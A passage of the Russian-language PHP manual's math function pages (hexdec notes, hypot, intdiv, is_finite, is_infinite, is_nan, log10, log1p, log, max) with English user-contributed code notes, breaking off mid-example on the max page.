After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
    function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
    }
?>
bishop 04-Jun-2005 07:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
    function &hex2rgb($hex, $asString = true)
    {
        // strip off any leading #
        if (0 === strpos($hex, '#')) {
            $hex = substr($hex, 1);
        } else if (0 === strpos($hex, '&H')) {
            $hex = substr($hex, 2);
        }

        // break into hex 3-tuple
        $cutpoint = ceil(strlen($hex) / 2)-1;
        $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

        // convert each tuple to decimal
        $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
        $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
        $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

        return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
    }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
zubfatal, root at it dot dk 25-Mar-2005 02:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version     1.0.1
*/

class color {

    /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

    function hex2rgb($hexVal = "") {
        $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
        if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
        $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
        $arrTmp = array_map("hexdec", $arrTmp);
        return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
    }

    /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
    function rgb2hex($arrColors = null) {
        if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
        if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

        array_splice($arrColors, 3);

        for ($x = 0; $x < count($arrColors); $x++) {
            if (strlen($arrColors[$x]) < 1) {
                return "ERR: One or more empty values found, expecting array with 3 values";
            }

            elseif (eregi("[^0-9]", $arrColors[$x])) {
                return "ERR: One or more non-numeric values found.";
            }

            else {
                if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                    return "ERR: Range mismatch in one or more values (0-255)";
                }

                else {
                    $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
                }
            }
        }

        return implode("", $arrColors);
    }

}

?>
brian at sagesport dot com 22-Mar-2005 09:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
    $len = strlen($hex);
    $chars = array("#","&","H","h");
    $hex = strip_chars($hex, $chars);
    preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
    $hex = $arr[0];
    if ($hex) {
      switch($len) {
        case 2:
          $red = hexdec($hex);
          $green = 0;
          $blue = 0;
          break;
        case 4:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = 0;
          break;
        case 6:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = hexdec(substr($hex,4,2));
          break;
      };
      $color[success] = true;
      $color[r] = $red;
      $color[g] = $green;
      $color[b] = $blue;
      return $color;
    } else {
      $color[success] = false;
      $color[error] = "unable to convert hex to dec";
    };
  }

  function strip_chars($string, $char){
    $len = strlen($string);
    $count = count($char);
    if ($count >= 2) {
      for ($i=0;$i<=$count;$i++) {
        if ($char[$i]) {
          $found = stristr($string,$char[$i]);
          if ($found) {
            $val = substr($string,$found+1,$len-1);
            $string = $val;
          };
        };
      };
    } else {
      $found = stristr($string,$char);
      if ($found) {
        $val = substr($string,$found+1,$len-1);
      };
    };
    echo $val;
    return $val;
  }

  /*
    To use simply use the following function call:
      $color = convert_color("#FF");
      this will return the following assoc array if successful:
      *[success] = true
      *[r] = 255
      *[g] = 0
      *[b] = 0

      or copy and paste the following code:

      $hex = "FFFFFF"; // Color White
      $color = convert_color($hex);
      var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo 10-Feb-2005 11:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
    /*
        $orig_color - original html color, hex
        $mod_color - modifying color, hex
        $mod - modifier '+' or '-'
        usage: mod_color('CCCCCC', '+', '000033')
    */
    // does quick validation
    preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
    preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
    if ($orig_arr[0] && $mod_arr[0]) {
        for ($i=0; $i<6; $i=$i+2) {
            $orig_x = substr($orig_arr[0],$i,2);
            $mod_x = substr($mod_arr[0],$i,2);
            if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
            else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
            if ($new_x < 0) { $new_x = 0; }
            else if ($new_x > 255) { $new_x = 255; };
            $new_x = dechex($new_x);
            $ret .= $new_x;
        }
        return $ret;
    } else { return false; }
}
?>
19-Jan-2005 09:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
andreas.schmeiler 05-Feb-2003 05:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net 15-Dec-2001 10:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)


Рассчитывает длину гипотенузы прямоугольного треугольника

  • « hexdec
  • intdiv »
  • PHP Manual
  • Математические функции
  • Рассчитывает длину гипотенузы прямоугольного треугольника

hypot

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

hypot — Рассчитывает длину гипотенузы прямоугольного треугольника

Описание

hypot(float $x, float $y): float

hypot() возвращает длину гипотенузы прямоугольного треугольника с длинами сторон x и y или расстояние точки (x, y) до начала координат Эквивалентно sqrt($x*$x + $y*$y).

Список параметров

x

Длина первой стороны

y

Длина второй стороны

Возвращаемые значения

Вычисленная длина гипотенузы

User Contributed Notes

Hayley Watson 04-Sep-2017 11:17
If you need a higher-dimensional diagonal length (norm), you can exploit the fact that sqrt(x*x+y*y+z*z) == sqrt(x*x+sqrt(y*y+z*z)). In other words hypot(x, y, z)==hypot(x, hypot(y, z)).

To be generic about it....
<?php

function norm(...$args)
{
    return array_reduce($args, 'hypot', 0);
}

?>
robinv at ecosse dot net 07-Jan-2004 09:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
    $sum = 0;
    foreach (func_get_args() as $dimension) {
        if (!is_numeric($dimension)) return -1;
        $sum += pow($dimension, 2);
    }
    return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);         // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);       // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);     // vector in 3 dimensions, magnitude = 7.

?>


Целочисленное деление

  • « hypot
  • is_finite »
  • PHP Manual
  • Математические функции
  • Целочисленное деление

intdiv

(PHP 7, PHP 8)

intdiv — Целочисленное деление

Описание

intdiv(int $num1, int $num2): int

Возвращает результат целочисленного деления num1 на num2.

Список параметров

num1

Числитель (то, что делится).

num2

Знаменатель. Число, на которое делится num1

Возвращаемые значения

Целое частное от деления num1 на num2.

Ошибки

Если num2 равен 0, будет выброшено исключение DivisionByZeroError. Если num1 равен PHP_INT_MIN, а num2 равен -1, то будет выброшено исключение ArithmeticError.

Примеры

Пример #1 Пример использования intdiv()

<?php
var_dump(intdiv(3, 2));
var_dump(intdiv(-3, 2));
var_dump(intdiv(3, -2));
var_dump(intdiv(-3, -2));
var_dump(intdiv(PHP_INT_MAX, PHP_INT_MAX));
var_dump(intdiv(PHP_INT_MIN, PHP_INT_MIN));
var_dump(intdiv(PHP_INT_MIN, -1));
var_dump(intdiv(1, 0));
?>
int(1)
int(-1)
int(-1)
int(1)
int(1)
int(1)

Fatal error: Uncaught ArithmeticError: Division of PHP_INT_MIN by -1 is not an integer in %s on line 8
Fatal error: Uncaught DivisionByZeroError: Division by zero in %s on line 9

Смотрите также

  • / - деление рациональных чисел
  • % - остаток от деления
  • fmod() - остаток от деления рациональных чисел

User Contributed Notes

oittaa 06-Feb-2022 04:56
Python style integer division, where the result is always rounded towards minus infinity.

1 // 2 is 0
(-1) // 2 is -1
1 // (-2) is -1
(-1) // (-2) is 0

<?php
function intdiv_py(int $num1, int $num2): int{
    if ($num1 < 0 xor $num2 < 0){
        $num1 = abs($num1);
        $num2 = abs($num2);
        $remainder = $num1 % $num2;
        return $remainder ? -1 -($num1 - $remainder) / $num2 : -$num1 / $num2;
    }
    return intdiv($num1, $num2);
}

var_dump(intdiv_py(1, 2)); // 0
var_dump(intdiv_py(-1, 2)); // -1
var_dump(intdiv_py(1, -2)); // -1
var_dump(intdiv_py(-1, -2)); // 0
?>
admin at infis dot net dot ru 23-Oct-2019 01:31
For earler versions PHP you may use:

function intdiv_1($a, $b) {
    $a = (int) $a;
    $b = (int) $b;
    return ($a - fmod($a, $b)) / $b;
}
sree dot millu at gmail dot com 20-Oct-2019 03:01
@AmeenRoss
This does NOT  seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
 ?>

See this example code
<?php

$x = 5.6;
$y = 1.4 ;

echo intdiv($x,$y);

    echo "\n";

function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}

echo intdiv_1($x,$y);
?>

//Output
5
4
Bubonic dot pestilence at gmail dot com 29-Dec-2015 03:23
<?php

function intdiv_2($a, $b)  {
    $val = $a / $b;
    return ($val < 0 ? "ceil" : "floor") ($val);
}

?>

Aren't this?!
polettog at gmail dot com 31-Jul-2015 09:34
Without intdiv(), the following may be a good way (with $a and $b of type integer and not too big) :
<?php
(int)($a / $b)
?>
because in case of divisible integers, the result will be integer and there is no risk of float appearing round but below their represented value (like the case (0.1+0.7)*10).
$a and $b really needs to be of type integer though.
If they are too big and indivisible, some precision will be lost during the conversion to float and the result may be inaccurate.
AmeenRoss 11-Jul-2015 01:15
This does indeed seem to be equal to intdiv:

<?php
function intdiv_1($a, $b){
    return ($a - $a % $b) / $b;
}
?>

However, this isn't:

<?php
function intdiv_2($a, $b){
    return floor($a / $b);
}
?>

Consider an example where either of the parameters is negative:
<?php
$param1 = -10;
$param2 = 3;
print_r([
    'modulus' => intdiv_1($param1, $param2),
    'floor' => intdiv_2($param1, $param2),
]);

/**
 * Array
 * (
 *     [modulus] => -3
 *     [floor] => -4
 * )
 */
?>
Ts.Saltan 16-Jun-2015 08:53
$a = 57;
$b = 3;

var_dump(
    intdiv($a,$b),
    intdiv_1($a,$b),
    intdiv_2($a,$b)
);

function intdiv_1($a, $b){
    return ($a-$a%$b)/$b;
}

function intdiv_2($a, $b){
    return floor($a/$b);
}
//intdiv($a, $b) == floor($a/$b) == ($a-$a%$b)/$b


Проверяет, является ли число с плавающей точкой допустимым конечным числом

  • « intdiv
  • is_infinite »
  • PHP Manual
  • Математические функции
  • Проверяет, является ли число с плавающей точкой допустимым конечным числом

is_finite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_finite — Проверяет, является ли число с плавающей точкой допустимым конечным числом

Описание

is_finite(float $num): bool

Возвращает результат проверки того, является ли переданное в параметр num значение допустимым конечным числом с плавающей точкой.

Допустимое конечное число с плавающей точкой не может быть ни нечислом (NAN), как его вычисляет функция is_nan(), ни бесконечностью, как её вычисляет функция is_infinite().

Список параметров

num

Проверяемое число с плавающей точкой (float)

Возвращаемые значения

Возвращает true, если значение num не нечисло NAN, не положительная бесконечность INF, не отрицательная бесконечность -INF, иначе false.

Примеры

Пример #1 Пример использования функции is_finite()

<?php
$float = 1.2345;
var_dump($float, is_finite($float));

$nan = sqrt(-1);
var_dump($nan, is_finite($nan));

$inf = 1e308 * 2;
var_dump($inf, is_finite($inf));
?>

Результат выполнения данного примера:

float(1.2345)
bool(true)
float(NAN)
bool(false)
float(INF)
bool(false)

Смотрите также

  • is_infinite() - Проверяет, является ли число с плавающей точкой бесконечным
  • is_nan() - Проверяет, является ли число с плавающей точкой нечислом

User Contributed Notes

Daniel Klein 09-Jul-2017 05:17
(is_finite($float)) is equivalent to (!is_infinite($float) && !is_nan($float)), i.e. a number can only be one of finite, infinite and NaN. You don't need to check both is_infinite() and is_nan() to see if a number is invalid or out of range.

<?php
$finite = 42;
$infinite = log(0);
$nan = acos(2);

var_dump(is_finite($finite), is_infinite($finite), is_nan($finite));  // true, false, false
var_dump(is_finite($infinite), is_infinite($infinite), is_nan($infinite));  // false, true, false
var_dump(is_finite($nan), is_infinite($nan), is_nan($nan)); // false, false, true
?>


Проверяет, является ли число с плавающей точкой бесконечным

  • « is_finite
  • is_nan »
  • PHP Manual
  • Математические функции
  • Проверяет, является ли число с плавающей точкой бесконечным

is_infinite

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_infinite — Проверяет, является ли число с плавающей точкой бесконечным

Описание

is_infinite(float $num): bool

Возвращает результат проверки того, является ли переданное в параметр num значение положительной (INF) или отрицательной бесконечностью (-INF).

Список параметров

num

Проверяемое число с плавающей точкой (float)

Возвращаемые значения

Возвращает true, если параметр num является бесконечным положительным числом (INF) или отрицательным бесконечным числом (-INF), иначе false.

Примеры

Пример #1 Пример использования функции is_infinite()

<?php
$inf = 1e308 * 2;

var_dump($inf, is_infinite($inf));

$negative_inf = -$inf;

var_dump($negative_inf, is_infinite($negative_inf));
?>

Результат выполнения данного примера:

float(INF)
bool(true)
float(-INF)
bool(true)

Смотрите также

  • is_finite() - Проверяет, является ли число с плавающей точкой допустимым конечным числом
  • is_nan() - Проверяет, является ли число с плавающей точкой нечислом

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли число с плавающей точкой нечислом

  • « is_infinite
  • log10 »
  • PHP Manual
  • Математические функции
  • Проверяет, является ли число с плавающей точкой нечислом

is_nan

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

is_nan — Проверяет, является ли число с плавающей точкой нечислом

Описание

is_nan(float $num): bool

Возвращает результат проверки того, является ли переданное в параметр num значение нечислом (NAN) (не числом).

Нечисло (NAN) — неопределённый результат математического вычисления, бывает, например, тогда, когда передаваемые параметры выходят за пределы области входных данных функции. Квадратный корень числа (функция sqrt()) может быть определён только для положительных чисел, передача (в функцию) отрицательного числа приведёт к состоянию нечисла (NAN). Другие примеры операций, возвращающих нечисло (NAN), — деление положительного бесконечного числа (INF) на другое бесконечное положительное число (INF) или любая операция, аргументами которой будет нечисло (NAN).

Замечание:

Несмотря на сказанное выше, нечисло (NAN) — это допустимое значение для типа float.

Предостережение

Нечисло (NAN) не тождественно другому нечислу (NAN). Соответствие числа с плавающей точкой нечислу (NAN) проверяют функцией is_nan(). Проверка $float === NAN не сработает.

Список параметров

num

Проверяемое число с плавающей точкой (float)

Возвращаемые значения

Возвращает true, если параметр num — нечисло (NAN), иначе false.

Примеры

Пример #1 Пример использования is_nan()

<?php
$nan = sqrt(-1);

var_dump($nan, is_nan($nan));
?>

Результат выполнения данного примера:

float(NAN)
bool(true)

Смотрите также

  • is_finite() - Проверяет, является ли число с плавающей точкой допустимым конечным числом
  • is_infinite() - Проверяет, является ли число с плавающей точкой бесконечным

User Contributed Notes

ScorpioT1000 22-Apr-2020 10:39
function is_nan2($n) {
    return $n !== $n;
}

is_nan2(NAN); // true
php at darkain dot com 12-Apr-2016 08:49
Starting with PHP 7, the string 'NaN' evaluates to the NaN value as well.

Example:
var_dump( (float) 'NaN' );

PHP 5.x and HHVM:
float(0)

PHP 7.0:
float(NAN)
10basetom 20-May-2015 02:29
I would use is_numeric() instead of ctype_digit() if you cannot be 100% sure what data type the string will be. Example from the docs:

<?php
$numeric_string = '42';
$integer        = 42;

ctype_digit($numeric_string);  // true
ctype_digit($integer);         // false (ASCII 42 is the * character)

is_numeric($numeric_string);   // true
is_numeric($integer);          // true
?>
modern dot apocalypse at gmail dot com 15-Mar-2012 10:14
I have decided to do some testing because I am getting unusual results with the is_nan function and here are the results of my tests:

<?php
var_dump(NAN); // float NAN

var_dump(NAN == NAN); // boolean true
var_dump(NAN === NAN); // boolean true
var_dump(is_nan(NAN)); // boolean true

var_dump(NAN == 12); // boolean true
var_dump(NAN === 12); // boolean false
var_dump(is_nan(12)); // boolean false

var_dump(NAN == 12.4); // boolean true
var_dump(NAN === 12.4); // boolean true
var_dump(is_nan(12.4)); // boolean false

var_dump(NAN == NULL); // boolean true
var_dump(NAN === NULL); // boolean false
var_dump(is_nan(NULL)); // boolean false

var_dump(NAN == 'K<WNPO'); // boolean true
var_dump(NAN === 'K<WNPO'); // boolean false
var_dump(is_nan('K<WNPO')); // null and throws a warning "Warning: is_nan() expects parameter 1 to be double, string given in NANTest.php on line 13"
php at keith tyler dot com 14-Apr-2010 04:46
It seems odd to me, but in boolean context, NAN evalutes to true.

<?php
var_dump(acos(8));
var_dump((bool)acos(8));
?>

Returns:

float(NAN)
bool(true)

Incidentally INF and -INF also evaluate to true.
J.K. 07-Jul-2009 04:44
For seeing whether or not something is a number, use ctype_digit().
darkangel at moveinmod dot net 01-Mar-2006 10:04
nan/"not a number" is not meant to see if the data type is numeric/textual/etc..

NaN is actually a set of values which can be stored in floating-point variables, but dont actually evaluate to a proper floating point number.

The floating point system has three sections: 1 bit for the sign (+/-), an 8 bit exponent, and a 23 bit fractional part.
There are rules governing which combinations of values can be placed into each section, and some values are reserved for numbers such as infinity. This leads to certain combinations being invalid, or in other words, not a number.


Десятичный логарифм

  • « is_nan
  • log1p »
  • PHP Manual
  • Математические функции
  • Десятичный логарифм

log10

(PHP 4, PHP 5, PHP 7, PHP 8)

log10 — Десятичный логарифм

Описание

log10(float $num): float

Возвращает десятичный логарифм num.

Список параметров

num

Входное значение

Возвращаемые значения

Десятичный логарифм num

Смотрите также

  • log() - Натуральный логарифм

User Contributed Notes

There are no user contributed notes for this page.


Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю

  • « log10
  • log »
  • PHP Manual
  • Математические функции
  • Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю

log1p

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

log1p — Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю

Описание

log1p(float $num): float

log1p() возвращает log(1 + num), рассчитанное таким образом, что результат точен, даже когда значение num близко к нулю. Из-за недостатка точности log() в этом случае может вернуть просто log(1).

Список параметров

num

Входное значение

Возвращаемые значения

log(1 + num)

Смотрите также

  • expm1() - Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.
  • log() - Натуральный логарифм
  • log10() - Десятичный логарифм

User Contributed Notes

11-Sep-2002 02:29
Note that the benefit of this function for small argument values is lost if PHP is compiled against a C library that that not have builtin support for the log1p() function.

In this case, log1p() will be compiled by using log() instead, and the precision of the result will be identical to log(1), i.e. it will always be 0 for small numbers.
Sample log1p(1.0e-20):
- returns 0.0 if log1p() is approximated by using log()
- returns something very near from 1.0e-20, if log1p() is supported by the underlying C library.

One way to support log1p() correctly on any platform, so that the magnitude of the expected result is respected:

function log1p($x) {
return ($x>-1.0e-8 && $x<1.0e-8) ? ($x - $x*$x/2) : log(1+$x);
}

If you want better precision, you may use a better limited development, for small positive or negative values of x:

log(1+x) = x - x^2/2 + x^3/3 - ... + (-1)^(n-1)*x^n/n + ...

(This serial sum converges only for values of x in [0 ... 1] inclusive, and the ^ operator in the above formula means the exponentiation operator, not the PHP xor operation)

Note that log1p() is undefined for arguments lower than or equal to -1, and that the implied base of the log function is the Neperian "e" constant.


Натуральный логарифм

  • « log1p
  • max »
  • PHP Manual
  • Математические функции
  • Натуральный логарифм

log

(PHP 4, PHP 5, PHP 7, PHP 8)

log — Натуральный логарифм

Описание

log(float $num, float $base = M_E): float

Если указан необязательный параметр base, log() возвращает logbase от num, иначе log() возвращает натуральный логарифм числа num.

Список параметров

num

Число, для которого необходимо вычислить логарифм

base

Необязательное основание логарифма (по умолчанию основание 'e', что соответствует натуральному логарифму).

Возвращаемые значения

Логарифм числа num по основанию base, если указано, или натуральный логарифм.

Смотрите также

  • log10() - Десятичный логарифм
  • exp() - Вычисляет степень числа e
  • pow() - Возведение в степень
  • error_log() - Отправляет сообщение об ошибке заданному обработчику ошибок

User Contributed Notes

rhinopete at batpudding dot com 05-Nov-2018 01:28
Seems like unit prefixes should have a standard PHP function.  Maybe in the future.

I found this page while looking for a quick unit prefix function.  The one by  olafurw was voted down, I think because it had unchecked array indexes and /0s.  So here it is fixed and readable.

-Should work down to PHP 4.
-Not meant for fractions or negatives, so anything less than 1 returns 0.
-Not very effective on really really large numbers, but it's easy to add more prefixes.
-Doesn't handle non numeric arguments. PHP 7+ can do this: function binaryprefix( int $units, $unit = '' )

// returns reduced $units with a binary prefix
// ex. ( 110974120, 'B' ) == 105.8MiB
// ex. ( 2^100, 'B' ) == 1048576.0YiB
// ex. ( 0.12314, 'B' ) == 0B
function binaryprefix( $units, $unit = '' )
{
    $prefix = array('', 'Ki', 'Mi', 'Gi', 'Ti', 'Pi', 'Ei', 'Zi', 'Yi');
    $exponent = min( floor( log( max( 1, $units ), 1024 ) ), count( $prefix ) - 1 );

    if ( $units < 1024 )
        return sprintf( '%d%s%s', max( 1, $units + 1 ) - 1, $prefix[$exponent], $unit );
    else
        return sprintf( '%.1f%s%s', $units / pow(1024, $exponent), $prefix[$exponent], $unit );
}

https://en.wikipedia.org/wiki/Binary_prefix#Adoption_by_IEC.2C_NIST_and_ISO

Also more colloquially:
    $prefix = array('', 'k', 'm', 'g', 't', 'p', 'e', 'z', 'y');
ClaudiuS 21-Feb-2013 07:34
If you just need to check if N is a perfect power of Base, log() is SLOW compared to a WHILE construct that will be 2x faster!

Tested on range: 1 ... 20.000.000 => while() is 2.105 times faster

<?php

$number='fill in your number here'
$base='fill in requested base here';

//use when the power is needed
$pow=0;do { $number/=$base;$pow++; } while ($number>1);
if ($number==1) print $base.'^'.$pow;
else print 'False';

//use when just a check is needed
do $number/=$base; while ($number>1);
if ($number==1) print 'True';
else print 'False';
?>
olafurw [at] gmail.com 04-Nov-2008 04:56
For those interested. Works with older than 4.3 versions.

<?php
    function byteConvert($bytes)
    {
        $s = array('B', 'Kb', 'MB', 'GB', 'TB', 'PB');
        $e = floor(log($bytes)/log(1024));

        return sprintf('%.2f '.$s[$e], ($bytes/pow(1024, floor($e))));
    }
?>
dingus_76 at hotmail dot com 15-May-2008 07:41
well i been pulling my hair out trying to get log to work with big numbers and i ended up writing a bclog function so to save everyone else the stress here it is

<?php
function bclog($X,$base=10,$decimalplace=12){
    $integer_value=0;
    while($X < 1){
        $integer_value = $integer_value - 1 ;
        $X = bcmul($X , base);
    }
    while($X >= $base){
        $integer_value = $integer_value + 1;
        $X = bcdiv($X , $base );
    }
    $decimal_fraction = 0.0;
    $partial = 1.0;
    # Replace X with X to the 10th power
    $X = bcpow($X , 10);
    while($decimalplace > 0){
        $partial = bcdiv($partial , 10);
        $digit=0;
        while($X >= $base){
              $digit = $digit + 1;
              $X = bcdiv($X , $base);
        }
        $decimal_fraction = bcadd($decimal_fraction , bcmul($digit , $partial));
        # Replace X with X to the 10th power
        $X = bcpow($X , 10);
        $decimalplace = $decimalplace - 1 ;
    }
    return $integer_value + $decimal_fraction ;
}
?>
Ulf Wostner 06-Aug-2006 05:56
<?php

#--------------------------------------------------------
#     How many digits does an integer have?
#--------------------------------------------------------

function digit_count($n, $base=10) {

  if($n == 0) return 1;

  if($base == 10) {
    # using the built-in log10(x)
    # might be more accurate than log(x)/log(10).
    return 1 + floor(log10(abs($n)));
  }else{
    # here  logB(x) = log(x)/log(B) will have to do.
   return 1 + floor(log(abs($n))/ log($base));
  }
}

# Example:  How many decimal digits for 2 to the power 24?
echo digit_count(pow(2, 24));

# Example: How many bits to write 1 billion in binary, last century?

if($country_code  == 'US') echo digit_count(pow(10, 9), 2);
if($country_code == 'UK') echo digit_count(pow(10, 12), 2);

#--------------------------------------------------------
#     Using log to format columns.
#--------------------------------------------------------

# Suppose we have a dynamically generated list of integers,
# and want to present them as a table. The use of log10 in
# our digit_count helps calculate the proper format string.

function print_list_of_ints($ints, $line_width=40) {

  # Apply our digit_count to the max int among ints.
  $field_width = 2 + digit_count(max($ints));

  # Create format string for printf.
  $format = "%${field_width}d";

  $ints_per_line = floor($line_width/$field_width);

  $border = str_repeat("-", $ints_per_line * $field_width);

  echo "\n$border\n";

  foreach($ints as $count => $int) {
    if( $count and ($count % $ints_per_line == 0)) echo "\n";
    printf($format, $int);
  }

  echo "\n$border\n";
}

# To generate an example, here is a basic function
# returning a list of (pseudo) random numbers.

function rands($how_many) {
  for($i=0; $i < $how_many; $i++) $rands[] = rand();
  return $rands;
}

# Example:  A list of random ints dynamically formatted into columns.

print_list_of_ints(rands(11));

/* Sample output. Numbers and fonts vary. Visualize monospace!

------------------------------------
  1093146637   244503173  1346204527
   638304372   140216732  1054707210
   573915416  1728677954  2038899669
   534854768    12674586
------------------------------------

*/

?>
mcmeijer at yahoo dot com 03-Feb-2005 07:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru 19-Sep-2004 03:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
    $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
    $p = min(max(floor(log(abs($value), $base)), -6), 6);
    return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk 20-Jun-2004 01:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.


Возвращает наибольшее значение

  • « log
  • min »
  • PHP Manual
  • Математические функции
  • Возвращает наибольшее значение

max

(PHP 4, PHP 5, PHP 7, PHP 8)

max — Возвращает наибольшее значение

Описание

max(mixed $value, mixed ...$values): mixed

Альтернативная сигнатура (не поддерживается с именованными аргументами):

max(array $value_array): mixed

Если первый и единственный параметр — массив, то функция max() вернёт наибольшее значение из этого массива. Если переданы хотя бы два параметра, функция max() вернёт наибольший из них.

Замечание:

Значения разных типов будут сравниваться в соответствии со стандартными правилами сравнения. К примеру, нечисловая строка (string) будет сравниваться с целым числом (int) так, как будто это 0, а множество нечисловых строк (string) будут сравниваться алфавитно-цифровым порядком. Выбранное значение будет возвращено без конвертации типа.

Предостережение

Соблюдают осторожность при передаче аргументов разных типов, поскольку результат функции max() может оказаться непредсказуемым.

Список параметров

value

Любое поддающееся сравнению значение.

values

Любые поддающиеся сравнению значения.

value_array

Массив, содержащий значения.

Возвращаемые значения

Функция max() вернёт значение «наибольшего» из элементов массива, в соответствии со стандартными правилами сравнения. Если несколько разнотипных значений посчитаются идентичными (например 0 и 'abc'), функция вернёт первое из них.

Ошибки

Если передан пустой массив, функция max() выбрасывает ошибку ValueError.

Список изменений

Версия | Описание
8.0.0 | Функция max() теперь в случае возникновения ошибки выбрасывает ошибку ValueError; ранее возвращалось значение false и выдавалась ошибка уровня E_WARNING.
8.0.0 | Поскольку сравнение строк с числами было изменено, функция max() больше не возвращает другое значение в зависимости от порядка аргументов для таких случаев.

Примеры

Пример #1 Пример использования max()

<?php
echo max(1, 3, 5, 6, 7); // 7
echo max(array(2, 4, 5)); // 5

// Здесь сравниваются -1 < 0, так что 'hello' больше
echo max('hello', -1); // hello

// В данном случае 0 больше, чем -1, поэтому результат равен 'hello'.
echo max(-1, 'hello'); // hello

// При сравнении массивов, разной длины — max вернёт более длинный
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(1, 1, 1, 1)

// При сравнении массивов одинаковой длины — max будет сравнивать их поэлементно
// слева направо, в данном примере 2 == 2, но 4 < 5
$val = max(array(2, 4, 8), array(2, 5, 1)); // array(2, 5, 1)

// Если передан массив и не массив, в результате всегда будет возвращён массив
